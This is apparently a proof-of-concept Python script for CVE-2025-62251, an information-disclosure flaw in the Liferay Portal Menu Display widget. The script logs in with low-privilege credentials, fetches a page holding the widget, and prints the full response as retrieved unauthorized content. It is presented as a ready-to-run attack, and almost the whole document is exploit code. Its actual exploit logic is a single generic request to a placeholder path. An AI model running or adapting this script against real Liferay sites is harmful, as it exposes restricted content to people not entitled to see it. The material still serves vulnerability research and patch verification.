CVE-2025-62251

# CVE-2025-62251 PoC - Liferay Portal Menu Display Widget Info Disclosure # Vulnerability: Menu Display Widget exposes content to unauthorized users # Attack Vector: Network, Low Privilege Required import requests # Target Liferay Portal instance TARGET_URL = "https://target-liferay-instance.com" USERNAME = "low_privilege_user" PASSWORD = "user_password" # Step 1: Authenticate to obtain session session = requests.Session() login_url = f"{TARGET_URL}/c/portal/login" login_params = { "p_p_id": "com_liferay_login_web_portlet_LoginPortlet", "p_p_lifecycle": "0", "_com_liferay_login_web_portlet_LoginPortlet_login": USERNAME, "_com_liferay_login_web_portlet_LoginPortlet_password": PASSWORD, } session.post(login_url, params=login_params) # Step 2: Access page containing Menu Display Widget # The widget fails to enforce permission checks and returns # content from restricted pages in the menu structure widget_page_url = f"{TARGET_URL}/web/guest/menu-display-page" response = session.get(widget_page_url) # Step 3: Extract sensitive content from the response # The response contains menu items with content that the # low-privilege user should not have access to if response.status_code == 200: # Parse the response to find unauthorized content # Look for menu items, page titles, or content snippets # that reference restricted pages print("[+] Unauthorized content retrieved:") print(response.text) else: print(f"[-] Request failed with status: {response.status_code}")

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